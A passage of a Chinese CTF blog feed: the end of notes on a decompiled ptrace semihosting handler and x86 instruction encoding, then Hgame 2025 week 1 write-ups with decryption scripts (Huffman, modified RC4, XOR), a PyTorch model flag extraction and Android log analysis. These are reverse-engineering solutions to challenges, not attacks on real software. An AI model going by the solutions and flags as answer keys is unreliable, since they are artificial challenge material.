    PID = pida;
    regster = regs.rip;
    if ( Idx )
    {
      Funcret = -38LL;
      if ( IsEffective[0] )
      {
        if ( Params[0] &amp;#x3C;= 9uLL )                // If the CALL_NUMBER_IS_EFFECTIVE
        {
          Func = (int (__fastcall *)())funcs_1DBD[Params[0]];
          if ( Func )
            Funcret = Func();
        }
        regs.orig_rax = -1LL;                   // 直接导致内核返回 ENOSYS 错误（功能未实现）
        ptrace(PTRACE_SETREGS, pida, 0LL, &amp;#x26;regs);
      }
      ptrace(PTRACE_SYSCALL, pida, 0LL, 0LL);   // 允许继续执行
      // **等待syscall-exit通知**
      waitpid(pida, 0LL, 0);                    
      ptrace(PTRACE_GETREGS, pida, 0LL, &amp;#x26;TempReg); // 转入返回值
      TempReg.rax = Funcret;
      TempReg.rip = regster;
      ptrace(PTRACE_SETREGS, pida, 0LL, &amp;#x26;TempReg);
    }
    else
    {
LABEL_41:
      ptrace(PTRACE_SYSCALL, PID, 0LL, 0LL);
      waitpid(PID, 0LL, 0);
    }
    // **一套Semihosting Call结束**
    // **继续下一个**
  }
  return 0LL;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id=&quot;做题用到的结构体&quot;&gt;做题用到的结构体&lt;/h3&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;/*
ptrace(PTRACE_GETREGS, PID, 0LL, &amp;#x26;regs);中的regs是定义在定义在 &amp;#x3C;sys/user.h&gt; 中的结构体
*/
struct user_regs_struct {
    unsigned long r15;
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long rbp;
    unsigned long rbx;
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long rax;       // Index = 10
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rsi;
    unsigned long rdi;
    unsigned long orig_rax;  // 系统调用号
    unsigned long rip;       // 指令指针 Index = 16
    unsigned long cs;        // 代码段寄存器
    unsigned long eflags;    // 标志寄存器
    unsigned long rsp;       // 栈指针
    unsigned long ss;        // 栈段寄存器
    unsigned long fs_base;   // FS 段基址
    unsigned long gs_base;   // GS 段基址
    unsigned long ds;        // 数据段寄存器
    unsigned long es;        // 附加段寄存器
    unsigned long fs;
    unsigned long gs;
};
struct ucontext_t{
    unsigned long (uc_flags);
    struct ucontext_t *uc_link;
    stack_t uc_stack;
    sigset_t uc_sigmask;
    mcontext_t uc_mcontext;
};
struct mcontext_t{
    unsigned long long int (fault_address);
    unsigned long long int (regs)[31];
    unsigned long long int (sp);
    unsigned long long int (pc);
    unsigned long long int (pstate);
    /* This field contains extension records for additional processor
       state such as the FP/SIMD state.  It has to match the definition
       of the corresponding field in the sigcontext struct, see the
       arch/arm64/include/uapi/asm/sigcontext.h linux header for details.  */
    unsigned char __reserved[4096] __attribute__ ((__aligned__ (16)));
};
struct sock_fprog {
    unsigned short len;    // 本应是16位，但显示为64位0x2A
    struct sock_filter *filter;  // 应当是指针值
};

struct sock_filter {    /* Filter block */
    __u16   code;      // 2字节操作码
    __u8    jt;        // 1字节条件为真跳转步长
    __u8    jf;        // 1字节条件为假跳转步长
    __u32   k;         // 4字节通用参数
};
struct seccomp_data {
    int   nr;         // 系统调用号 (offset 0x00)
    __u32 arch;       // 架构标识 (offset 0x04)
    __u64 instruction_pointer; // 触发系统调用的指令地址 (offset 0x08)
    __u64 args[6];    // 系统调用的参数数组 (offset 0x10)
};&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id=&quot;rex-字节的结构&quot;&gt;REX 字节的结构&lt;/h3&gt;
&lt;p&gt;REX 字节的二进制格式为 &lt;code&gt;0100WRXB&lt;/code&gt;，共 4 个控制位：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1409&quot; height=&quot;566&quot; src=&quot;https://sh10rl.top/_astro/1753535091922-127.CLPw_IFw_Z23u3up.webp&quot;&gt;&lt;/figure&gt;
&lt;h3 id=&quot;sib-字节的结构&quot;&gt;SIB 字节的结构&lt;/h3&gt;
&lt;p&gt;SIB 字节由以下三部分组成（共 8 位）：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Scale（缩放因子，2 位） 指定变址寄存器的缩放因子，可能的取值为：
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;00b&lt;/code&gt; = 1 倍（无缩放）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;01b&lt;/code&gt; = 2 倍&lt;/li&gt;
&lt;li&gt;&lt;code&gt;10b&lt;/code&gt; = 4 倍&lt;/li&gt;
&lt;li&gt;&lt;code&gt;11b&lt;/code&gt; = 8 倍&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;Index（变址寄存器，3 位） 通过 3 位编码指定变址寄存器（如 &lt;code&gt;RAX&lt;/code&gt;, &lt;code&gt;RBX&lt;/code&gt; 等），具体编码与寄存器编号一致：
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;000b&lt;/code&gt; = RAX&lt;/li&gt;
&lt;li&gt;&lt;code&gt;001b&lt;/code&gt; = RCX&lt;/li&gt;
&lt;li&gt;&lt;code&gt;010b&lt;/code&gt; = RDX&lt;/li&gt;
&lt;li&gt;&lt;code&gt;011b&lt;/code&gt; = RBX&lt;/li&gt;
&lt;li&gt;&lt;code&gt;100b&lt;/code&gt; = RSP（通常禁用）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;101b&lt;/code&gt; = RBP（通常禁用）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;110b&lt;/code&gt; = RSI&lt;/li&gt;
&lt;li&gt;&lt;code&gt;111b&lt;/code&gt; = RDI&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;在 64 位模式下，若存在 REX 前缀的 &lt;code&gt;X&lt;/code&gt; 位（扩展变址寄存器），则支持扩展寄存器（如 &lt;code&gt;R8&lt;/code&gt;-&lt;code&gt;R15&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;Base（基址寄存器，3 位） 通过 3 位编码指定基址寄存器（如 &lt;code&gt;RBP&lt;/code&gt;, &lt;code&gt;RDI&lt;/code&gt; 等），编码规则与 &lt;code&gt;Index&lt;/code&gt; 类似：
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;000b&lt;/code&gt; = RAX&lt;/li&gt;
&lt;li&gt;&lt;code&gt;001b&lt;/code&gt; = RCX&lt;/li&gt;
&lt;li&gt;&lt;code&gt;010b&lt;/code&gt; = RDX&lt;/li&gt;
&lt;li&gt;&lt;code&gt;011b&lt;/code&gt; = RBX&lt;/li&gt;
&lt;li&gt;&lt;code&gt;100b&lt;/code&gt; = RSP&lt;/li&gt;
&lt;li&gt;&lt;code&gt;101b&lt;/code&gt; = RBP（若 &lt;code&gt;Mod=00b&lt;/code&gt; 表示无基址）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;110b&lt;/code&gt; = RSI&lt;/li&gt;
&lt;li&gt;&lt;code&gt;111b&lt;/code&gt; = RDI&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;在 64 位模式下，若存在 REX 前缀的 &lt;code&gt;B&lt;/code&gt; 位（扩展基址寄存器），则支持扩展寄存器（如 &lt;code&gt;R8&lt;/code&gt;-&lt;code&gt;R15&lt;/code&gt;）。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;modrm-字节结构&quot;&gt;ModR/M 字节结构&lt;/h3&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;| 7 6 | 5 4 3 | 2 1 0 |
| --- | ----- | ----- |
| Mod | Reg   | R/M   |&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;Mod（模式，2 位） 决定操作数的类型和寻址模式：
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;00b&lt;/code&gt;: 内存寻址（无位移）或特殊寄存器操作。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;01b&lt;/code&gt;: 内存寻址（8 位位移）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;10b&lt;/code&gt;: 内存寻址（16/32 位位移，取决于模式）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;11b&lt;/code&gt;: 寄存器直接寻址（无内存操作）。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;Reg（寄存器，3 位） 指定源或目的寄存器，或作为操作码扩展：
&lt;ol&gt;
&lt;li&gt;寄存器编码（如 &lt;code&gt;000b&lt;/code&gt; = &lt;code&gt;RAX&lt;/code&gt;/&lt;code&gt;EAX&lt;/code&gt;/&lt;code&gt;AX&lt;/code&gt;/&lt;code&gt;AL&lt;/code&gt;，具体取决于操作数大小）。&lt;/li&gt;
&lt;li&gt;若指令无需 &lt;code&gt;Reg&lt;/code&gt; 字段，则用于扩展操作码。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;R/M（寄存器/内存，3 位） 与 &lt;code&gt;Mod&lt;/code&gt; 字段共同决定操作数的寻址模式：
&lt;ol&gt;
&lt;li&gt;若 &lt;code&gt;Mod=11b&lt;/code&gt;，&lt;code&gt;R/M&lt;/code&gt; 直接编码寄存器。&lt;/li&gt;
&lt;li&gt;若 &lt;code&gt;Mod≠11b&lt;/code&gt;，&lt;code&gt;R/M&lt;/code&gt; 结合 &lt;code&gt;SIB&lt;/code&gt; 字节描述内存地址。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;</content:encoded><category>CTF</category></item><item><title>Hgame 2025 week 1</title><link>https://sh10rl.top/posts/hgame-week1-writeup/</link><guid isPermaLink="true">https://sh10rl.top/posts/hgame-week1-writeup/</guid><description>Hgame 2025 week 1 writeup</description><pubDate>Tue, 04 Mar 2025 00:00:00 GMT</pubDate><content:encoded>&lt;hr&gt;
&lt;ul&gt;
&lt;li&gt;Alias: Sh10l (个人赛事)&lt;/li&gt;
&lt;li&gt;Status: re ak; crypto 2; misc 4&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&quot;compress-dot-new&quot;&gt;Compress dot new&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;了解下哈夫曼编码, 使用脚本解压：&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;import json

class HuffmanDecoder:
    def __init__(self, tree_json):
        self.root = json.loads(tree_json)
        self.current_node = self.root

    def decode_bit(self, bit):
        self.current_node = self.current_node[&apos;a&apos;] if bit == &apos;0&apos; else self.current_node[&apos;b&apos;]
        if &apos;s&apos; in self.current_node:
            char = chr(self.current_node[&apos;s&apos;])
            self.current_node = self.root  # 重置到根节点
            return char
        return None

def main():
    # 读取加密文件
    with open(&apos;enc.txt&apos;, &apos;r&apos;) as f:
        tree_json, encoded_bits = f.read().split(&apos;\n&apos;, 1)

    # 初始化解码器
    decoder = HuffmanDecoder(tree_json)
    
    # 执行解码
    result = []
    for bit in encoded_bits.strip():
        char = decoder.decode_bit(bit)
        if char:
            result.append(char)

    print(&quot;解密结果:&quot;, &apos;&apos;.join(result))

if __name__ == &quot;__main__&quot;:
    main()&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;913&quot; height=&quot;47&quot; src=&quot;https://sh10rl.top/_astro/1753528910290-1.__WLdS3c_D7aBm.webp&quot;&gt;&lt;/figure&gt;
&lt;h2 id=&quot;turtle&quot;&gt;Turtle&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;手脱UPX，魔改RC4：&lt;/p&gt;
&lt;/blockquote&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;2048&quot; height=&quot;1075&quot; src=&quot;https://sh10rl.top/_astro/1753528930888-4.CtS3gYhC_ZwhOTr.webp&quot;&gt;&lt;/figure&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;#include &amp;#x3C;stdio.h&gt;
#include &amp;#x3C;string.h&gt;
#include &amp;#x3C;stdint.h&gt;

typedef uint8_t u8;

void ksa(const u8* key, int key_len, u8 S[256]) {
    int j = 0;
    for (int i = 0; i &amp;#x3C; 256; i++) S[i] = i;
    
    for (int i = 0; i &amp;#x3C; 256; i++) {
        j = (j + S[i] + key[i % key_len]) % 256;
        u8 temp = S[i];
        S[i] = S[j];
        S[j] = temp;
    }
}

void prga(u8 S[256], int length, u8 keystream[]) {
    int i = 0, j = 0;
    u8 S_copy[256];
    memcpy(S_copy, S, 256);
    
    for (int k = 0; k &amp;#x3C; length; k++) {
        i = (i + 1) % 256;
        j = (j + S_copy[i]) % 256;
        u8 temp = S_copy[i];
        S_copy[i] = S_copy[j];
        S_copy[j] = temp;
        keystream[k] = S_copy[(S_copy[i] + S_copy[j]) % 256];
    }
}

void another_prga(u8 S[256], int length, u8 keystream[]) {
    int idx = 0, j = 0;
    u8 S_copy[256];
    memcpy(S_copy, S, 256);
    
    for (int k = 0; k &amp;#x3C; length; k++) {
        idx = (idx + 1) % 256;
        j = (S_copy[idx] + j) % 256;
        u8 temp = S_copy[idx];
        S_copy[idx] = S_copy[j];
        S_copy[j] = temp;
        keystream[k] = S_copy[(S_copy[idx] + S_copy[j]) % 256];
    }
}

int main() {
    // Step 1: 解密输入密钥
    u8 yekyek[] = &quot;yekyek&quot;;
    u8 enc_key[] = {0xCD, 0x8F, 0x25, 0x3D, 0xE1, 0x51, 0x4A};
    u8 S[256];
    
    // 生成yekyek的S盒
    ksa(yekyek, 6, S);
    
    // 生成PRGA密钥流
    u8 prga_keystream[7];
    prga(S, 7, prga_keystream);
    
    // 解密得到inputKey_1
    u8 inputKey_1[7];
    for (int i = 0; i &amp;#x3C; 7; i++) {
        inputKey_1[i] = enc_key[i] ^ prga_keystream[i];
    }
    
    // Step 2: 解密flag
    u8 encrypted_flag[] = {
        0xF8, 0xD5, 0x62, 0xCF, 0x43, 0xBA, 0xC2, 0x23,
        0x15, 0x4A, 0x51, 0x10, 0x27, 0x10, 0xB1, 0xCF,
        0xC4, 0x09, 0xFE, 0xE3, 0x9F, 0x49, 0x87, 0xEA,
        0x59, 0xC2, 0x07, 0x3B, 0xA9, 0x11, 0xC1, 0xBC,
        0xFD, 0x4B, 0x57, 0xC4, 0x7E, 0xD0, 0xAA, 0x0A
    };
    int flag_len = sizeof(encrypted_flag);
    
    // 生成flag解密用的S盒
    u8 flag_S[256];
    ksa(inputKey_1, 7, flag_S);
    
    // 生成特殊PRGA密钥流
    u8 flag_keystream[40];
    another_prga(flag_S, flag_len, flag_keystream);
    
    // 解密flag
    u8 flag[41] = {0};
    for (int i = 0; i &amp;#x3C; flag_len; i++) {
        flag[i] = (encrypted_flag[i] + flag_keystream[i]) % 256;
    }
    
    printf(&quot;Decrypted Flag: %s\n&quot;, flag);
    return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;764&quot; height=&quot;64&quot; src=&quot;https://sh10rl.top/_astro/1753528953320-7.EqlSQ_eE_Z1c2RyR.webp&quot;&gt;&lt;/figure&gt;
&lt;h2 id=&quot;hakuya-want-a-girl-friend&quot;&gt;Hakuya Want A Girl Friend&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;正着看ZIP文件，有密码&lt;/p&gt;
&lt;p&gt;倒着看PNG文件，UTF-8编码，写脚本解码&lt;/p&gt;
&lt;p&gt;拖入随波逐流工具修改高得密码，解压得flag&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;def fix_ctf_data(byte_data):
    i = 0
    output = bytearray()
    while i &amp;#x3C; len(byte_data):
        # 检测双字节UTF-8序列 (0xC2-0xDF 开头)
        if 0xC2 &amp;#x3C;= byte_data[i] &amp;#x3C;= 0xDF and i+1 &amp;#x3C; len(byte_data):
            b1 = byte_data[i]
            b2 = byte_data[i+1]
            if 0x80 &amp;#x3C;= b2 &amp;#x3C;= 0xBF:
                # 计算原始单字节值
                decoded = ((b1 &amp;#x26; 0x1F) &amp;#x3C;&amp;#x3C; 6) | (b2 &amp;#x26; 0x3F)
                output.append(decoded)
                i += 2
                continue
        # 非双字节序列直接保留
        output.append(byte_data[i])
        i += 1
    return bytes(output)

# 示例用法
with open(&apos;download.png&apos;, &apos;rb&apos;) as f:
    data = f.read()

fixed_data = fix_ctf_data(data)
with open(&apos;fixed_image.png&apos;, &apos;wb&apos;) as f:
    f.write(fixed_data)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;img alt=&quot;img&quot; width=&quot;283&quot; height=&quot;78&quot; src=&quot;https://sh10rl.top/_astro/1753528975467-13.DTzTZB77_Z1DqPlf.webp&quot;&gt;&lt;img alt=&quot;img&quot; width=&quot;734&quot; height=&quot;43&quot; src=&quot;https://sh10rl.top/_astro/1753528970544-10.SyOX6vl__Z1SW20c.webp&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;computer-cleaner&quot;&gt;Computer cleaner&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Flag1:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;659&quot; height=&quot;50&quot; src=&quot;https://sh10rl.top/_astro/1753529032918-16.hB7JBRIT_Z1WKsa3.webp&quot;&gt;&lt;/figure&gt;
&lt;blockquote&gt;
&lt;p&gt;Flag2:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1494&quot; height=&quot;400&quot; src=&quot;https://sh10rl.top/_astro/1753529076219-27.CF2VVECC_Z1N7CC3.webp&quot;&gt;&lt;/figure&gt;
&lt;blockquote&gt;
&lt;p&gt;Flag3:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;729&quot; height=&quot;203&quot; src=&quot;https://sh10rl.top/_astro/1753529088195-30.B4UxyiJc_Z7p1R2.webp&quot;&gt;&lt;/figure&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;hgame{y0u_hav3_cleaned_th3_c0mput3r!}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id=&quot;level-314-线性走廊中的双生实体&quot;&gt;&lt;strong&gt;Level 314 线性走廊中的双生实体&lt;/strong&gt;&lt;/h2&gt;
&lt;h3 id=&quot;法一老老实实构造输入&quot;&gt;法一：老老实实构造输入&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;给了&lt;code&gt;entity.pt&lt;/code&gt;用&lt;code&gt;binwalk&lt;/code&gt;解压出&lt;code&gt;torch.py&lt;/code&gt; &amp;#x26; &lt;code&gt;Linear1&lt;/code&gt;变换的文件&lt;/p&gt;
&lt;/blockquote&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1452&quot; height=&quot;762&quot; src=&quot;https://sh10rl.top/_astro/1753529137066-39.DvkdmylZ_Z12lAmu.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;&lt;img alt=&quot;img&quot; width=&quot;516&quot; height=&quot;295&quot; src=&quot;https://sh10rl.top/_astro/1753529105925-33.D_wJjzXY_1QkPg3.webp&quot;&gt;&lt;img alt=&quot;img&quot; width=&quot;383&quot; height=&quot;180&quot; src=&quot;https://sh10rl.top/_astro/1753529109021-36.EJyJdvHf_Z1k8vqw.webp&quot;&gt;&lt;/p&gt;
&lt;p&gt;分析这俩文件内部代码&lt;/p&gt;
&lt;p&gt;发现需要构造特定张量输入使输入张量经过线性变换（&lt;code&gt;Linear1&lt;/code&gt;）&lt;/p&gt;
&lt;p&gt;之后得到的值&lt;code&gt;x0&lt;/code&gt;能够通过:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;torch.allclose(torch.mean(x), torch.tensor(0.31415000000000004), 1.0000000000000001e-05, 0.0001)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;校验，调用&lt;code&gt;forward&lt;/code&gt;方法自解码出&lt;code&gt;hidden flag&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Linear1内部&lt;code&gt;10 x 10&lt;/code&gt;矩阵可提取，所以——权重与偏置已知&lt;/p&gt;
&lt;p&gt;构造正确张量输入：&lt;/p&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;import torch

# 解决PyTorch 2.6+的安全加载限制
try:
    model = torch.load(&quot;entity.pt&quot;, weights_only=False)
except RuntimeError as e:
    print(f&quot;加载错误: {e}&quot;)
    print(&quot;请确保信任模型来源后使用以下方式加载：&quot;)
    model = torch.load(&quot;entity.pt&quot;, weights_only=False)

# 提取关键参数
linear1 = model.linear1
W = linear1.weight.data.detach().clone()  # 权重矩阵 [10,10]
b = linear1.bias.data.detach().clone()    # 偏置向量 [10]

# 计算关键参数
sum_rows_W = W.sum(dim=0)        # 行向量和 [10]
sum_b = b.sum().item()           # 偏置总和
target_sum = 0.31415000000000004 * 10  # 精确目标值

# 验证矩阵可解性
norm_sq = (sum_rows_W @ sum_rows_W).item()
if abs(norm_sq) &amp;#x3C; 1e-8:
    raise ValueError(&quot;权重矩阵行向量和模长为0，无解&quot;)

# 计算缩放系数
k = (target_sum - sum_b) / norm_sq

# 构造输入张量
x = k * sum_rows_W.unsqueeze(0)  # 形状 [1,10]

# 验证前向传播
with torch.no_grad():
    x0 = torch.nn.functional.linear(x, W, b)
    actual_mean = x0.mean().item()
    print(f&quot;计算均值: {actual_mean:.7f} (误差: {abs(actual_mean - 0.31415):.2e})&quot;)

# 触发flag解码
output = model(x)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;346&quot; height=&quot;43&quot; src=&quot;https://sh10rl.top/_astro/1753529146640-42.Idz1k22A_ZAH9Qt.webp&quot;&gt;&lt;/figure&gt;
&lt;h3 id=&quot;法二直接直接提取modelsecurityflag然后与85异或一把梭&quot;&gt;法二：直接直接提取&lt;code&gt;model.security.flag&lt;/code&gt;然后与85异或一把梭&lt;/h3&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;import torch

# 加载模型（需关闭安全模式）
model = torch.load(&quot;entity.pt&quot;, weights_only=False)

# 提取加密flag
encrypted_flag = model.security.flag

# 异或解密
flag = &quot;&quot;.join(chr(byte ^ 85) for byte in encrypted_flag)
print(f&quot;解密Flag: {flag}&quot;)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id=&quot;erro0000ors&quot;&gt;Erro0000ors&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;加载了&lt;code&gt;msdelta.dll&lt;/code&gt; ，程序要求输出&lt;code&gt;hgame{…36Bytes…}&lt;/code&gt;的flag，才能“正常”地触发异常进入&lt;code&gt;Seven eats the hash&lt;/code&gt; 隐藏关卡&lt;/p&gt;
&lt;p&gt;触发异常后要求用户输入修补的MD5，这个MD5用于&lt;code&gt;Target&lt;/code&gt;数据的Hash校验，&lt;code&gt;ApplydeltaB&lt;/code&gt; Hash校验失败返回&lt;code&gt;0&lt;/code&gt; 成功&lt;code&gt;1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;如果输入MD5正确，则执行加密逻辑，并输出：&lt;code&gt;Flag is error!!&lt;/code&gt;或者&lt;code&gt;Great&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;程序用函数&lt;code&gt;ApplydeltaB&lt;/code&gt;巧妙地patch掉了&lt;strong&gt;整个&lt;/strong&gt;FlagBody输入 → 生成&lt;code&gt;Target&lt;/code&gt;——即密钥&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ApplydeltaB&lt;/code&gt;最后有个MD5校验环节，找到这个环节提取出正确MD5&lt;/p&gt;
&lt;p&gt;只有输入正确的MD5，&lt;code&gt;ApplydeltaB&lt;/code&gt;才会放心地把其生成的Target数据放出来&lt;/p&gt;
&lt;p&gt;然后异或解密即可&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;异或逻辑：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1723&quot; height=&quot;381&quot; src=&quot;https://sh10rl.top/_astro/1753529180317-45.BuaKm4yZ_Z2uxpjr.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;动调发现我输入的MD5塞到了这里：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1618&quot; height=&quot;582&quot; src=&quot;https://sh10rl.top/_astro/1753529182268-48.Da-uFRuR_261eoI.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;在&lt;code&gt;InputMD5&lt;/code&gt;这个地方下硬件断点，然后一顿F9到达：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1832&quot; height=&quot;395&quot; src=&quot;https://sh10rl.top/_astro/1753529184087-51.rGb3qQEu_1nqYWq.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;提出MD5：&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;44D292FFE2E91730AE69EB50AE11D04A&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;测试MD5是否正确：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1436&quot; height=&quot;225&quot; src=&quot;https://sh10rl.top/_astro/1753529185759-54.h-dUQCKK_69hbB.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;正确！&lt;/p&gt;
&lt;p&gt;现在就差&lt;code&gt;Target&lt;/code&gt;：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;2048&quot; height=&quot;1243&quot; src=&quot;https://sh10rl.top/_astro/1753529187033-57.M-nhJo51_Z2tBC6v.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;拿下&lt;code&gt;Target&lt;/code&gt;：&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;Seven says you&apos;re right!!!!&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;与Cipher异或得到flag：&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;#include &amp;#x3C;stdio.h&gt;
#include &amp;#x3C;string.h&gt;

int main() {
    // 密文数据（十六进制字节数组）
    unsigned char ciphertext[] = {
        0x3B, 0x02, 0x17, 0x08, 0x0B, 0x5B, 0x4A, 0x52, 0x4D, 0x11,
        0x11, 0x4B, 0x5C, 0x43, 0x0A, 0x13, 0x54, 0x12, 0x46, 0x44,
        0x53, 0x59, 0x41, 0x11, 0x0C, 0x18, 0x17, 0x37, 0x30, 0x48,
        0x15, 0x07, 0x5A, 0x46, 0x15, 0x54, 0x1B, 0x10, 0x43, 0x40,
        0x5F, 0x45, 0x5A
    };
    
    // 密钥字符数组
    char key[] = &quot;Seven says you&apos;re right!!!!&quot;;
    const int key_len = strlen(key); // 计算密钥长度（24字节）
    const int cipher_len = sizeof(ciphertext); // 密文长度（43字节）

    // 解密过程
    unsigned char plaintext[cipher_len + 1]; // +1给终止符
    memset(plaintext, 0, sizeof(plaintext));

    for (int i = 0; i &amp;#x3C; cipher_len; i++) {
        // 取模运算实现密钥循环使用
        int key_index = i % 0x1C; //注意这里
        // 异或解密：明文 = 密文 ^ 密钥
        plaintext[i] = ciphertext[i] ^ key[key_index]; 
    }

    // 添加字符串终止符
    plaintext[cipher_len] = &apos;\0&apos;;

    // 输出解密结果
    printf(&quot;Decrypted Flag: %s\n&quot;, plaintext);
    return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;572&quot; height=&quot;24&quot; src=&quot;https://sh10rl.top/_astro/1753532894527-123.CTM-D7Zg_ZlMKFg.webp&quot;&gt;&lt;/figure&gt;
&lt;h2 id=&quot;尊嘟假嘟&quot;&gt;尊嘟假嘟&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;UsrInput&lt;/code&gt;为&lt;code&gt;0.o&lt;/code&gt; 和&lt;code&gt;o.0&lt;/code&gt; 的随机组合，题目规定以&lt;code&gt;0.o&lt;/code&gt; 或&lt;code&gt;o.0&lt;/code&gt; 为”一组“，且要求我“输入”的总组数小于等于12组&lt;/p&gt;
&lt;p&gt;分析&lt;code&gt;libcheck.so&lt;/code&gt;文件发现有日志输出，使用&lt;code&gt;adb logcat -s Native:I *:S&lt;/code&gt;看看log：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1912&quot; height=&quot;404&quot; src=&quot;https://sh10rl.top/_astro/1753529242337-60.C9U9o4rX_1z5gxQ.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;结论先行， 分析出的程序加密流程：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;InputStr&lt;/code&gt; → &lt;code&gt;encode(inputStr)&lt;/code&gt; → &lt;code&gt;Key&lt;/code&gt; ，encode函数已知&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Cipher&lt;/code&gt;(已知) → &lt;code&gt;RC4(Cipher, Key)&lt;/code&gt; → 中间数据 → &lt;code&gt;XOR&lt;/code&gt;+ &lt;code&gt;b64encode&lt;/code&gt; → &lt;code&gt;Result&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
